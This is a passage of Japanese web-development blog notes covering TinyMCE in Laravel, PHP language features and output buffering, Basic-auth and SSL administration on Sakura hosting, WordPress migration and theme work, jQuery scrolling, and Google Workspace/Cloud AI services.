Laravelでリッチテキストエディタで使いやすい画像アップロード機能を実装(TinyMCE)

TinyMCEとは

リッチテキストエディタのJavaScriptライブラリです。

WordPressクラシックエディタで標準で搭載されている点からも、安心して使用できるライブラリかと思います

TinyMCE エディタ構造 ブラウザ ツールバー B I U 画像 リンク 編集エリア (WYSIWYG) 見出し例 通常のテキストがここに表示されます。 太字のテキスト 斜体のテキスト 画像 HTML出力 <h2> 見出し例 </h2> <p> 通常のテキストがここに表示されます。 </p> ユーザー操作 リアルタイム編集 HTML変換 プラグイン • 画像アップロード • スペルチェック • テーブル編集 • メディア管理 • カスタムボタン

TinyMCEの無料利用について、CDNと自己ホスティングの違い

公式サイトによると、API経由で提供されるCDNクラウドホスティングは商用利用ができず、月に1000回の回数制限があります

他にプランはないかと探してみると、セルフホスト(自分のサーバーに直接ダウンロード)の方法では回数制限もなく、商用利用も可能なようです!

TinyMCEの公式サイトのフッターにあるリンクのGet TinyMCE Freehttps://www.tiny.cloud/get-tiny/)からセルフホスティングについてのページにいけます

「Download now」ボタンから入手できます

Laravel10とTinyMCEでブログ作成&画像のアップロードができるか調査した
https://laranote.jp/laravel10-tinymce-blog-image-upload-investigation

画像ファイルのアップロードについて

下記リンクのドキュメントは、TinyMCE(リッチテキストエディター)での画像とファイル処理についての公式ガイドです

「images_upload_handler では、アップロード処理を Promise として実装します」とあります

画像とファイルのオプション
https://www.tiny.cloud/docs/tinymce/latest/file-image-upload

TinyMCE 日本語化

下記リンクより言語ファイル(ja.js)をダウンロード

public/
└── js/
    └── tinymce/
        └── ja/
        └── langs/
            └── ja.js  ← これ!

TinyMCE の初期化で日本語を指定

tinymce.init({
  selector: '#body',
  plugins: 'image',
  toolbar: 'image',
  language: 'ja', // ← 言語コード
  language_url: '/js/tinymce/ja/langs/ja.js', // ← ここで明示的にファイルを指定

  // 必要に応じて画像アップロードなどの設定も続ける
});

Language Packages
https://www.tiny.cloud/get-tiny/language-packages

実装コード
https://github.com/idw-coder/laravel-xserver/blob/add_tinyMCS/laravel/resources/views/posts/create.blade.php

php artisan storage:link の仕様

Laravel では、storage/app/public に保存されたファイルを Webからアクセスできるようにするために、public/storage にシンボリックリンクを作成します。

※storage 以外にも 柔軟なファイル保存先の指定や公開方法が可能

役割パス備考
保存先storage/app/publicLaravel がファイルを保存する内部パス
シンボリックリンクpublic/storageWebサーバーがアクセスできる公開パス

参考サイト

【検証中】Laravel 10 で TinyMCE を使用する
https://www.shimizuya.free-hit.online/wp/laravel/%E3%80%90%E6%A4%9C%E8%A8%BC%E4%B8%AD%E3%80%91laravel-10-%E3%81%A7-tinymce-%E3%82%92%E4%BD%BF%E7%94%A8%E3%81%99%E3%82%8B/?utm_source=chatgpt.com

Laravel 10 + TinyMCE で画像アップロード
https://zenn.dev/dainaka/articles/867b59bea4d010?utm_source=chatgpt.com

Laravel10とTinyMCEでブログ作成&画像のアップロードができるか調査した
https://laranote.jp/laravel10-tinymce-blog-image-upload-investigation/?utm_source=chatgpt.com

Laravel とリッチテキストエディタ
https://biz.addisteria.com/category/wisiwyg

【PHP】出力バッファリング制御

出力バッファリング制御は知っている人は良く使うけど、知らない人は全く使わないという偏りがある関数群ですが、知っていると便利です。

出力バッファリングってなに?

出力バッファリングは「画面にすぐ表示せず、ためておく技術」

「すぐ表示」とは?

echoprintvar_dump()、それからHTMLそのものも、
PHPが読み込んでる最中に直接「標準出力(STDOUT)」に流れていく出力のこと

PHPは通常、echoやprintで出力した内容を即座にクライアント(ブラウザ)に送ります

[ブラウザ] → HTTPリクエスト(GETとかPOST) → [Webサーバー] → [PHP処理] → 出力(HTML) → [ブラウザで表示]

PHPがどう処理するか

サーバーにある PHP ファイルにアクセスしたときの裏側!

🔁 例:http://localhost/index.php にアクセス

  1. ブラウザが Webサーバー(Apache/Nginx)に「GET /index.php」というリクエストを送る
  2. Webサーバーは .php ファイルを見て、「これはPHPで処理しなきゃ」と判断
  3. PHP実行エンジン(PHPインタプリタ)が index.php を実行
  4. PHPの中で echo や HTMLを出力すると、「標準出力(stdout)」に書かれる

それが Webサーバーを通じてHTTPレスポンスとしてブラウザに返される!

「標準出力」ってなんなの?

PHPはコマンドラインでも使えるから、そのときは echo はそのままターミナルに出力される。
でもWeb経由のPHPの場合は:

「標準出力」=「クライアント(ブラウザ)に送るHTTPレスポンス本文」

出力種別どこに出る?すぐ表示?備考
echo, print, HTML標準出力(stdout)✅ すぐ表示ブラウザに出る
var_dump()標準出力✅ すぐ表示デバッグ用
fwrite(STDERR)エラー出力❌ 表示されないCLIで使うことが多い
file_put_contents()ファイル❌ 表示されないログや保存用
mail()メール❌ 表示されないサーバーから外部に送る
setcookie()ヘッダー出力❌ 表示されないbodyより先に送る必要あり

🔽 出力バッファリングを使うと

  • 出力内容を一時的にメモリ上にためておいて
  • あとからまとめて送る、あるいは加工してから送ることができる!
関数名説明
ob_start()出力バッファリングを開始する
ob_get_contents()バッファにたまっている内容を取得する
ob_end_clean()バッファの内容を消してバッファリングを終了
ob_end_flush()バッファ内容を出力してからバッファリング終了
ob_clean()バッファ内容を消去(バッファリングは継続)
ob_flush()バッファ内容を出力(バッファリングは継続)

バッファ処理が使われる主な理由

テンプレートキャプチャ

ob_start();
include 'template.php';
$content = ob_get_clean(); // テンプレートの出力を文字列として取得

出力のタイミング制御(headerより前に出力があった時)

ob_start();
echo "処理開始";
header("Location: /done.php"); // ← バッファがなければエラーになる
ob_end_flush();

basic認証のパスワードを忘れた場合

Basic認証設定手順

パスワードはハッシュ化されている(.htpasswd にある)

ハッシュ化されたパスワードは元に戻せない(復号はできない)ので、新しいパスワードで上書きしちゃうのが一番早くて安全です!

Basic認証のファイル構成

  • .htaccess(認証設定ファイル)
  • .htpasswd(ユーザー名とパスワードのハッシュ)

.htaccess をダウンロードして内容を確認

AuthUserFile /home/アカウント名/www/test/.htpasswd
AuthType Basic
AuthName "ステージング"
Require valid-user

この AuthUserFile のパスに .htpasswd ファイルがあるから、FTPでそのファイルをダウンロード

新しいハッシュを作る(パスワード再生成)

以下のようなhtpasswd生成ツールを使用

https://www.luft.co.jp/cgi/htpasswd.php

https://tech-unlimited.com/makehtpasswd.html#google_vignette

https://rakko.tools/tools/20

  1. ユーザー名を入力(例:testuser)
  2. 新しいパスワードを入力(例:newpassword123)
  3. 生成されたハッシュをコピー!

生成例(Apache $apr1$ 形式)

testuser:$apr1$T6sa8s...etc

.htpasswd を更新する

(変更前)
testuser:$apr1$xxxx古いハッシュ

(変更後)
testuser:$apr1$新しいハッシュ値

カンタン!さくらインターネットのコントロールパネルからの設定方法

上記でファイルを自作して、するとさくらインターネットのレンタルサーバー上では、うまくいきませんでした、、

basic認証のダイアログでユーザ名は入力できるのですが、パスワードが入力できない事象が発生しました。さくらインターネットのコントロールパネルからの設定が推奨というこでしょうか。

さくらインターネットコントロールパネルにログイン

https://secure.sakura.ad.jp/rs/cp

ファイルマネージャーを選択

さくらのレンタルサーバ ホーム ドメイン/SSL メール Webサイト/データ サーバーステータス セキュリティ サーバー情報 スクリプト設定 ビジネスソリューション メニュー一覧 サポート 会員メニュー サービスサイト よくある質問 サーバーコントロールパネル ホーム おすすめ プラン変更がご利用いただけます >詳細 ショートカット ファイルマネー ジャー WordPress インストール データベース ウェブメール メール一覧 推奨設定 サーバーの設定および注意が必要な項目の情報を表示しています。 重要な設定 6件 おすすめ設定 3件 エラー/ユニークユーザ/ページビュー ページ ユニーク エラー エラー ビュー ユーザ数 発生回数 PV比率% 800 600

basic認証をかけたいディレクトリに入ります。

※ディレクトリに✅をいれても全体に適応されるので、注意です!

操作 整理 表示アドレスへの操作 アップロード ダウンロード 自動プレビュー ツリー 検索 ヘルプ さくら example.sakura.ne.jp アドレス: /home/example/www 使用率: 15.5 GB / 300 GB (5.17%) /home/example/www blog images portfolio shop contact backup css js 名前 サイズ 種別 属性 更新日時 blog フォルダ rwxr-xr-x 2025/05/10 12:34 images フォルダ rwxr-xr-x 2025/05/08 09:15 portfolio フォルダ rwxr-xr-x 2024/11/20 15:42 shop フォルダ rwxr-xr-x 2024/10/05 11:33 css フォルダ rwxr-xr-x 2024/09/15 08:52 js フォルダ rwxr-xr-x 2024/08/22 13:09 index.html 15.4 KB ファイル rw-r–r– 2025/05/10 15:44 style.css 8.2 KB ファイル rw-r–r– 2025/05/08 17:33 プレビュー

表示アドレスへの操作からアクセス設定をクリック

表示アドレスへの操作 アップロード ファイル作成 フォルダ作成 アクセス設定
  • パスワード制限を使用するを✓をいれます
  • 両方か一方か選択、basic認証だけであれば両方でOK
    ※別タブの接続元アクセス制限との組み合わせになります
  • 編集をクリック
/blog のアクセス設定 パスワード制限 接続元アクセス制限 indexファイル 有効性 パスワード制限を使用する 接続元アクセス制限との併用 両方の許可がないとアクセス不能 一方の許可があればアクセス可能 パスワードファイル /.htpasswd 編集 このファイルに パスワード情報が リストされます 編集方法: パスワード追加/変更 OK キャンセル

ユーザー名とパスワード入力します

OKで即適応されます。

パスワードファイルの編集: /.htpasswd ユーザー一覧 ユーザ名 パスワード コメント + 追加 OK キャンセル ユーザの追加 ユーザ名: test パスワード: •••• パスワード(確認): •••• コメント: OK キャンセル

https://webst8.com/blog/sakura-basic-auth

PHP 8.0〜から実装で便利な機能(名前付き引数、match)

https://www.php.net/manual/ja/migration80.php

名前付き引数

簡単に言うと、関数呼び出しのときに「引数の名前を明示的に書ける」という書き方です

今までの書き方(位置ベース)

function createUser($name, $age, $gender = 'unspecified') {
    // ...
}

createUser('Taro', 28); // ← 第3引数スキップできるけど名前はわからん

PHP 8.0〜 名前付き引数

createUser(name: 'Taro', age: 28); // 第3引数スキップしてもOK!わかりやすい!
createUser(age: 28, name: 'Taro'); // 順番も自由!!

名前付き引数のメリット

  • 「何の値を渡してるか」がわかりやすく、可読性UP
  • デフォルト値のある引数をスキップして渡せる

PHP8でmatch 式が実装

match 式とは?

PHP 8.0 から使える新しい分岐構文で、「switch の進化版」「値を返す式として使える分岐」として登場!

https://www.php.net/manual/ja/control-structures.match.php

match 式は、値の一致をチェックした結果に基づいて評価結果を分岐します。 switch 文と似ていますが、 match 式は複数の候補と比較される制約式を持ちます。 switch 文とは異なり、 三項演算子のように値を評価します。 switch 文とは異なり、 弱い比較(==)ではなく、 型と値の一致チェック(===) に基づいて行われます。 match 式は PHP 8.0.0 以降で利用可能です。

  • 値を返す
  • 厳密な型比較
さくらインターネットからWHOIS登録メールアドレスの利用廃止のメールが来た

https://www.sakura.ad.jp/corporate/information/announcements/2025/04/30/1968219366

SSL証明書とは?

Webサイトを https:// でアクセスできるようにするために使うものです!

SSL証明書とHTTPS通信 ブラウザ https://… Webサーバー SSL証明書 認証局 ①証明書発行 ②HTTPS接続要求 ③証明書提示 ④暗号化通信

SSL証明書の発行、再発行(更新)

全てのSSL証明書には有効期限があります。(現在の仕様では、最長でも398日(約13ヶ月)です。)

有効期限までにやるべきこと

項目内容
1. 更新申請有効期限の前に、新しいSSL証明書を申請(発行)する
2. 認証手続きドメインの所有者確認をもう一度行う(今回の話に関係)
3. 証明書インストール新しい証明書をサーバーに設定し直す(古いものと差し替え)
4. 動作確認サイトが正常にHTTPSで動いているかテストする

ドメインの所有者確認の方法

ドメインの所有者確認とは?

example.comの様なドメイン名が本当にあなたの管理下にあるのか確認する作業ですね

方法内容さくらインターネットの変更との関係
① メール認証ドメインに紐づく特定のメールアドレスに確認メールを送るWHOISメールは廃止対象、admin@等は継続可
② DNS認証ドメインのDNSに特定のTXTレコードを設定する✅ 有効
③ HTTP認証Webサーバー上に特定ファイルを配置して確認する✅ 有効だが、さくらの共有サーバーでは使えないことがある

親ドメインの所有者確認が完了していれば、サブドメインの確認は不要です

SSL証明書は親ドメイン単位で所有権を確認します。

たとえばexample.comが確認できていれば下記のようなサブドメインはOK

  • www.example.com
  • info.example.com

WHOIS登録メールアドレスの利用とは?

SSL証明書の発行時、ドメインの所有者を確認するためにWHOISデータベースに登録されているメールアドレス宛に認証メールを送って、そのリンクをクリックしてもらう方法です。

WHOISとは

WHOIS(フーイズ)は、インターネットのドメイン登録情報を照会できる仕組みです。

  • ドメインを管理するための登録情報のデータベース
  • 誰がそのドメインを登録しているのか、メールアドレスや会社名などを表示
  • 昔はドメインを取得すると自動的に公開されていた
    (※今はプライバシー保護で非公開が主流)

WordPressサイトのサブディレクトリ→サブドメイン移行手順

事前準備

  • WordPressファイル一式とデータベースのバックアップ取得

ドメイン設定(お名前ドットコム)

  • DNS設定でサブドメインのAレコードを追加
  • さくらサーバーのIPアドレスを指定

サーバー設定(さくらレンタル)

  • コントロールパネルでサブドメインをマルチドメインとして追加
  • SSL証明書(Let’s Encrypt)を設定

移行作業

ファイル移行

  • FTPで新ドメインディレクトリにWordPressファイルをアップロード

データベース移行

  • 新データベースにSQLファイルをインポート
  • Search Replace DB等でURL置換(旧URL→新URL)

リダイレクト設定

  • メインサイトの.htaccessに301リダイレクトを追加
RewriteRule ^subdirectory/(.*)$ https://blog.example.com/$1 [R=301,L]

最終確認

  • サイト表示・管理画面・内部リンク動作確認
  • Google Search Consoleでアドレス変更通知

スケジュール目安

  • 準備・設定:1-2営業日
  • 移行作業:2-3営業日
  • 最終調整:1-2営業日

注意点:DNS反映に最大48時間かかるため、余裕を持ったスケジュールで進行してください。

スムーズにスクロールする処理をjQueryで実装

そもそもjQueryが使用されるケースが最近はあまりないかと思います、、(Reactとかで開発が主流)

それでもjQueryと関わることが多いと思うのが、WordPress改修案件です。

Gutenbergブロック開発にはReact一択かと思いますが、古いWordPressテーマ / プラグイン製品については今でも jQuery 使ってることが多いです!

ということで、WordPressでの実装を前提にまとめていきます

ソースコード

▼ jsファイルの読み込みについてはfunctions.phpで

<?php
/**
 * カスタムJavaScriptの読み込み
 */
function enqueue_custom_scripts()
{
    // スムーススクロール用JS
    wp_enqueue_script(
        'smooth-scroll',
        get_template_directory_uri() . '/assets/js/smooth-scroll.js',
        array('jquery'), // WordPressのデフォルトの同梱されているjQueryを依存関係に追加
        filemtime(get_template_directory() . '/assets/js/smooth-scroll.js'),  // バージョン番号を設定し古いバージョンを読み込まないようにする
        true
    );
}
add_action('wp_enqueue_scripts', 'enqueue_custom_scripts');

▼ スムーススクロールを実装

(function($) {
    let headerHeight = $('.site-header').height();
    console.log('headerHeight', headerHeight);

    $('a[href^="#"]').click(function() {
        var speed = 500;
        // アンカーの位置を取得
        var href = $(this).attr('href');
        // 移動先の要素を取得
        var target = $(href == "#" || href == "" ? 'html' : href);
        // 移動先を数値で取得
        var position = target.offset().top - headerHeight;

        $('html, body').animate({
            scrollTop: position
        }, speed, 'swing');
        return false;
    });

    $(".js-scroll-to-form").click(function() {
        $("html, body").animate({
            scrollTop: $("#contact").offset().top - headerHeight
        }, 500, 'swing');
        return false;
    });
})(jQuery);

他の$(WordPressとかライブラリ)と衝突しないように

jQuery自身でjQuery のエイリアスを$としている仕様から、$を使用しているのですが、そのまま使用すると、グローバルスコープの $(他ライブラリなど)とは衝突してしまいます

そこで下記のような書き方をします

(function($) { /* jQueryコード */ })(jQuery);

上記を分解してせつめいすると

① function($) { … }
→ 関数を定義してる
※引数の名前は $ にしてる

(function($) { … })
→ この関数を かっこで囲んで、式にしてる
JavaScriptでは関数定義そのままだと「文(ステートメント)」と見なされて、すぐ実行できないから、かっこで囲って「関数式」に変えてます

③ (function($) { … })(jQuery)
→ 最後の (jQuery) は、関数を即時実行する時の引数!

(function($) {
/* この中ではjQueryを $ として使える! */
})(jQuery);

animate() とは?

jQueryオブジェクトのスタイルを、アニメーションしながら変化させるメソッド

$(セレクタ).animate({
  プロパティ: 値,
  ...
}, 時間, イージング, コールバック);

scrollTop(スクロールトップ)

引数の位置までスクロール(引数なければ今のスクロール位置を取得)

offset()(オフセット)

ある要素がページの左上からどの位置にあるか(絶対位置)

Gemini for Google Workspace 活用術

Gemini for Google Workspace

Google Workspace のAI機能でビジネスパーソンの“日常業務”をAIで効率化できます

Gemini for Google Workspace はGoogle Workspaceの基本有料のオプションサービスです

Bussiness Standard以上であれば、多くのサービスが利用可能

「★アイコン」がまさに Gemini が有効化されている証拠です!

有料プラン一覧(2025年時点)

プラン名概要料金(参考)
Gemini Business標準業務向け(中小企業など)約1,800〜2,400円/月(1ユーザーあたり)
Gemini Enterprise高度なセキュリティ&制御が必要な企業向け約3,000円〜/月(1ユーザーあたり)
Gemini Education / Education Premium教育機関向け別価格体系(通常より安価)

Gemini for Google Workspace 活用例

カテゴリ Gmail スプレッドシート ドキュメント Drive
要約/抽出 1. メールスレッドの要約&TODO抽出
2. 添付ファイルの要約
3. 受信トレイ内のTODO確認
1. 様々な情報を表データに変換
2. データの簡単な要約&分析
1. ドキュメントの要約&TODO抽出 1. 特定ファイルの要約
2. 複数ファイル・フォルダ内の要約
生成/分析 4. 返信メールの作成 3. 関数の作成&挿入
4. シートの項目作成
5. シートの改善提案
2. GmailやDriveデータから文章生成
3. 選択したテキストへの処理
4. 文章全体の改善提案
3. 複数ファイルの差分確認
検索 5. 曖昧な条件でのメール検索
6. 曖昧な条件での添付メール検索
4. 曖昧なデータ検索
  • メールのスレッド(長いやり取り)→サマリー作成→タスク確認
  • スプレッドーシートやドキュメントでサイトパネルでgeminiのメニューを表示させて、@でドライブのファイルのソースの内容を挿入できます
共有 匿名 A 1 J K データ分析シート データ分析シート Gemini こんにちは、ユーザーさん ご用件をお聞かせください。 このコンテンツの概要 このスプレッドシートは、データ分析の結果と主要指標の 比較情報をまとめています。 主な内容は以下の通りです: メンバー管理シート 利用者リスト 作業メモ 目標設定シート データ分析シート これ以上の検索結果はありません メニューを検索 @ Gemini for Workspace は、不正確な情報を生成することがあります。 詳細
アプリケーション概要調べたこと・機能など効果・活用案参考資料備考欄
Google WorkspaceGem 機能の業務活用事前にプロンプトを与えて、あるタスクに最適化したモデルを作っておくことができる。

繰り返し使うプロンプトや条件を保存し、再利用が可能・Gemは左メニュー「Gemを表示」から呼び出せる
・定型業務に特化したAIをすばやく呼び出せる

下記の修正内容の文章で表記ゆれや不要なスペース、改行、おかしい文章構造があればおしえて、、、のような
https://zenn.dev/jins/articles/dc3124f0f4e590・一部回答に外部リンクを含む場合あり・ファイル参照処理がやや重い・今後、Gemのチーム共有やChat連携などの機能拡張が期待される

Notebook LM

Google Workspace Labsとは始め方

AIとの連携サービスをいち早くためせます

一般のGoogleアカウントでも利用できます

下記リンクよりページ下部の同意項目を確認の上、登録が可能です

https://workspace.google.com/labs-sign-up

Workspace G o o g l e Google Workspace Labs への参 加にご関心をお持ちの方は、ご 登録ください Workspace Labs は、一般公開前に新機能を改善できるように、特定のユーザー に Workspace の新しい生成 AI 機能を試していただき、Google にフィードバック を提供していただくプログラムです。 Workspace Labs のユーザーは、Gmail と Google ドキュメントで AI を活用した 最新の文書作成機能をご利用いただけます。今後数か月以内に、さらに魅力的な 新機能がプログラムに追加される予定です。
Workspace G o o g l e 完了しました。Workspace Labs をご利用いただけるようになりま した。 Workspace Labs をご利用いただけるようになりました。 Learn more
Google Cloud の始め方

Google Cloudとは

クラウドサービスです、、クラウドサービスとはWeb経由でサーバーなどの様々なサービスが使用できるサービスです

例えばFirestore(Firebase)、Compute Engine、Cloud Logging、、

Google Cloud の始め方、流れ

  1. アカウント作成
    • Googleアカウント(個人)
    • Google Workspace or Cloud Identity組織を利用する場合
  2. 上記で作成したアカウントでログインして「プロジェクト」作成
  3. サービスアカウントを作成(一部のサービスではサービスアカウントは自動で作成されます)
    → サービスアカウントは「Google Cloudプロジェクトに属する機械用アカウント」であり、人間がログインするものではない!
  4. 課金方法の設定

プロジェクトとは

サービスやAPI、課金情報などの使用する環境をわける単位となります

プロジェクト1 サービス/API 課金情報 プロジェクト2 サービス/API 課金情報

Googleクラウドコンソールでの作業でする際、プロジェクトを指定する必要があります。切り替えはヘッダーでできます。

組織について

プロジェクトのリソースについては下記の通り階層構造で管理できます

[組織]
 ├── [フォルダA] 
 │    ├── [プロジェクトA1]
 │    └── [プロジェクトA2]
 │
 └── [フォルダB]
      └── [プロジェクトB1]

現在のプロジェクトの組織の確認は「IAM と管理」→「リソースを管理」で見ることができます!

組織アカウントを使用する理由

  • 2段階認証の強制などでセキュリティを強化
  • すべてのユーザー、プロジェクトを一元管理することが可能
  • 組織ポリシーを使用できる
  • 複数プロジェクトについて請求先アカウントの統合が可能です

社内で複数人の利用や、セキュリティを考慮する場合は組織アカウントを選択しましょう!

IAMとは?

IAM(アイ・エー・エム)は、「誰が/何に対して/どんな操作をしていいか」を管理するアクセス制御の仕組みです!

「どんな操作をしていいか」についてはロールで制御します

種類特徴
基本ロールowner(全部OK)/ editor(変更OK)/ viewer(読み取りだけ)の3つ。超ざっくりした役割向け。
事前定義ロールより細かく、「Cloud Storage管理者」や「BigQueryデータ閲覧者」などサービスごとの専門ロール
カスタムロール自分で「この操作だけOKにしたい!」って自由に作れるロール(ただしアップデートに注意!)

Cloud Billing の流れ

  1. 課金アカウントを作成

https://console.cloud.google.com/billing?hl=ja

課金ページで「アカウントを作成」をクリック

名前は後から変更可能です

  1. 支払い方法を登録
    → クレジットカードまたは銀行口座

「お支払いプロファイル」は個人用であればGoogleアカウント、組織であれば会社名や法人名などの設定が表示されます

設定を完了して「送信して課金を有効にする」をクリックすると、アカウント管理画面に移動します

「プリンシパルを追加」はアカウントのアクセス権限(I AM)の設定で課金アカウントとプロジェクトの紐づけそのものとは直接関係はありません

  1. プロジェクトとひも付け

支払先を紐づけるプロジェクトでダッシュボードより「課金」メニューをクリックして設定します

Google Cloud のAIサービス

AIインフラストラクチャVertex AIAIソリューションGemini for Google Cloudがあります。

Vertex AI

データの準備からモデルの構築・学習・デプロイまでをまとめてできる、オールインワンのAI開発のプラットフォームです

Gemini for Google Cloud

Google Cloudでシステム開発を支援してくれる生成AIのサービスです

提供される主な機能と内容

機能名できること
Gemini Code Assistコードの説明・補完・生成を支援してくれる(開発スピードUP)
Gemini Cloud Assistアプリの設計・運用・最適化まで、AIがガイドしてくれる(Google Cloud Consoleから利用可能)
Gemini in Securityセキュリティ分析をAIが支援。攻撃の兆候や影響をわかりやすく可視化
Gemini in Databases自然言語でデータベースのクエリ作成や分析。SQL自動生成なども対応
BigQuery / Looker との統合テーブル検索やSQL/レポート作成を自然言語で実現。分析業務が爆速に!

Gemini Code Assist

コーディングについてのAIアシスタントです

Gemini Code Assist の始め方
  1. Google Cloud プロジェクトを作成または選択
  2. 課金を有効にする(クレジットカードまたは無料クレジット)
  3. Cloud Console のメニューから Gemini Code Assist を有効化
  4. 必要に応じて Visual Studio Code などの IDE に拡張機能をインストールし、Google アカウントでログイン
  5. コード補完や生成を使って開発をスタート

下記よりStandard / Enterprise版ともに、プロンプトやレスポンスは学習(トレーニング)に使用されていないようです

Gemini Code Assist の Standard エディションと Enterprise エディションでは、プロンプトやそのレスポンスをデータとして使用してモデルをトレーニングすることはありません。

https://developers.google.com/gemini-code-assist/docs/data-governance?hl=ja

【PHP】switch分の書き方、PHP 7.3 から PHP7.4の変更点

基本的な使用方法

PHPのswitch文はある変数に応じて、処理を分岐させるときに使用します。

下記は簡単な例です。

<?php
$variable = 0;
switch ($variable) {
    case '0':
        echo(0);
        break;
        
    case '1':
        echo(1);
        break;
        
    default:
        break;
}

// 実行すると0が出力
  • 「break」は条件に一致したら switch文 を抜ける役割です
  • 「default」はどの case にも当てはまらない場合の処理を書きます

continueについて

continueはループ処理で使用する命令で下記の様な挙動です

continue 階層数;
<?php
echo "continue \n";
for($i = 0; $i < 5; $i++) {
    echo $i. "\n";
    for($j = 0; $j < 4; $j++) {
        if($j === 2) continue;
        echo " ". $j. "\n";
    }
}
echo "continue 2 \n";
for($i = 0; $i < 5; $i++) {
    echo $i. "\n";
    for($j = 0; $j < 4; $j++) {
        if($j === 2) continue 2;
        echo " ". $j. "\n";
    }
}

continue 
0
 0
 1
 3
1
 0
 1
 3
2
 0
 1
 3
3
 0
 1
 3
4
 0
 1
 3
continue 2 
0
 0
 1
1
 0
 1
2
 0
 1
3
 0
 1
4
 0
 1
  • 1つ目の繰り返し処理では、continueの後に階層を指定していないので現在いる内側のforの処理$jをスキップ
    (✅ continue; と continue 1; は同じ意味です)
  • 2つ目の繰り返し処理では、階層は2指定しているので、現在のいるfor文自体をぬけて親の階層の繰り返し処理に進みます

代替構文の場合注意、、continue文の警告

代替構文とは

PHPの 「代替構文(alternative syntax)」 は、テンプレートの中でHTMLとPHPをうまく混ぜるために用意された、見た目がスッキリする書き方ですね!

  • switch文で代替構文を使用しない場合
$difficulty = 'hard';

switch ($difficulty) {
    case 'easy':
        echo 'かんたんモード';
        break;
    case 'normal':
        echo 'ふつうモード';
        break;
    case 'hard':
        echo 'むずかしいモード';
        break;
    default:
        echo '不明な難易度です';
}
  • switch文で代替構文を使用する場合
<?php switch ($difficulty): ?>
<?php case 'easy': ?>
    <p>かんたんモード</p>
<?php break; ?>
<?php case 'normal': ?>
    <p>ふつうモード</p>
<?php break; ?>
<?php case 'hard': ?>
    <p>むずかしいモード</p>
<?php break; ?>
<?php default: ?>
    <p>不明なモード</p>
<?php endswitch; ?>

注意点として「switchから最初のcaseのあいだに余計なもの」があると下記のエラーになります

PHP Parse error:  syntax error, unexpected T_INLINE_HTML "xx", expecting "endswitch" or "case" or "default" in ....

PHP側ではswitchがあれば、次はcaseを待っている状態になってて、そこでインデントなどそれ以外のものがくると構文おかしくない?となってしまいます

HTMLテンプレート内のPHP switch文:正しい書き方 ❌ 間違った書き方 <?php switch ($difficulty): ?> 空白行(構文エラー) <?php case ‘easy’: ?> ← エラー <p>かんたんモード</p> <?php break; ?> <?php case ‘normal’: ?> <p>ふつうモード</p> <?php break; ?> <?php endswitch; ?> 空白行(構文エラーの原因) PHPコードのインデント(エラー) HTMLコンテンツのインデント(問題なし) ✅ 正しい書き方 <?php switch ($difficulty): <?php case ‘easy’: ?> <p>かんたんモード</p> <?php break; ?> <?php case ‘normal’: ?> <p>ふつうモード</p> <?php break; ?> <?php endswitch; ?> case文がswitchの直後(インデントなし) HTMLコンテンツの適切なインデント(推奨)

PHP: continue – Manual
https://www.php.net/manual/ja/control-structures.continue.php

【PHP】新しい方の指定方法「nullable」

nullableとは

指定した型だけでなく null(そもそも値をを持っていない型)も許容する型です

使用方法は型名の前に ? を付けて宣言します

function greet(?string $name) {
    if ($name === null) {
        echo "こんにちは、名無しゲストさん!";
    } else {
        echo "こんにちは、{$name}さん!";
    }
}

greet("鈴木"); // → こんにちは、鈴木さん!
greet(null);   // → こんにちは、名無しゲストさん!

どのような場合に使用する

  • 引数や戻り値が「nullになる可能性」があるとき

例)ユーザー入力フォームで省略してもいい場合

  • APIレスポンスの「データがないかも」に対応する
  • LaravelやSymfonyなどのフレームワークで「型宣言 + null許容」が推奨される

参考サイト

PHP: 新機能 – Manual
https://www.php.net/manual/ja/migration71.new-features.php

「PHPでJSONを扱う」json_encodeとjson_decode完全ガイド

JSONとPHPの連想配列の違い

JSONの例: {"名前":"松本たくや","年齢":78}
PHPの連想配列の例: ['名前' => '松本たくや', '年齢' => 78]

上記の通り構造(キーと値のペア)は似ているのですが、いくつか重要な違いがあります

PHPの連想配列JSON
性質メモリ上のデータテキストデータ
キー数値や文字列などの色んな型文字列のみ
関数、リソースなど配列、オブジェクト、論理値、null
データ保存・転送そのままでは不可文字列形式の為、可能

PHPの連想配列 メモリ上のデータ構造 $user = [ ‘name’ => ‘松本たくや’, ‘age’ => 78, ‘is_active’ => true ]; • PHPプログラム内部で使用 • 直接操作可能 • プログラムが終了すると消える JSON テキスト形式のデータ { “name”: “松本たくや”, “age”: 78, “is_active”: true } • 文字列として保存・送信可能 • 言語に依存しない形式 • ファイル保存やAPI通信に使用 json_encode() json_decode()

JSONは多言語対応でデータの保存や転送も可能ですので、API通信やログ出力でよく使用されます!

json_encode関数:PHPの値をJSON文字列に変換

$array = ['name' => '渡辺だいすけ', 'age' => 30];
$json = json_encode($array, JSON_UNESCAPED_UNICODE);
// 結果: {"name":"渡辺だいすけ","age":30}
項目説明
基本構文json_encode(value, options, depth)
機能PHP の値や配列、オブジェクトを JSON 形式の文字列に変換する
必須引数value: 変換する PHP の値(配列、オブジェクトなど)
オプション引数options: JSON エンコードオプション(デフォルト: 0)
depth: 最大深さ(デフォルト: 512)
戻り値JSON 形式の文字列、またはエラー時は false
主なオプションフラグJSON_PRETTY_PRINT: 読みやすく整形(改行、インデント追加)
JSON_UNESCAPED_UNICODE: Unicode 文字をエスケープしない
JSON_UNESCAPED_SLASHES: スラッシュをエスケープしない
JSON_NUMERIC_CHECK: 数字の文字列を数値に変換
JSON_FORCE_OBJECT: 空の配列や順番配列もオブジェクトとして出力

json_decode関数:JSON文字列をPHPの値に変換

項目説明
基本構文json_decode(json, associative, depth, options)
機能JSON 形式の文字列を PHP の値に変換する
必須引数json: デコードする JSON 文字列
オプション引数associative: 連想配列として返すか(デフォルト: false
depth: 最大深さ(デフォルト: 512)
options: JSON デコードオプション(デフォルト: 0)
戻り値変換された値(オブジェクトまたは配列)、またはエラー時は null
主なオプション設定associative = true: オブジェクトではなく連想配列として結果を返す
associative = false: stdClass オブジェクトとして結果を返す
JSON_BIGINT_AS_STRING: 大きな整数を文字列として扱う
【WordPress自作テーマ開発】固定ページを自動作成する方法(下層ページ実装)

WordPressのオリジナルテーマ開発で下層ページの実装をする際、下記の手順かと思います

「固定ページを管理画面で作成し、そのページスラッグに対応するテンプレート(例:page-about.php)を用意する」

その方法だと、テーマを有効化するだけでは完結せず管理画面上での操作が必要になりますよね。

テーマファイル群のみの納品方法の場合、できればテーマ内で完結させたいですよね!

そこで下記の処理をテーマを適用するだけで自動的に固定ページを作成する方法をご紹介です。

テーマ有効化フックを使って「固定ページをDBに挿入する」処理を仕込むことができます。

実装例:after_switch_themeフック

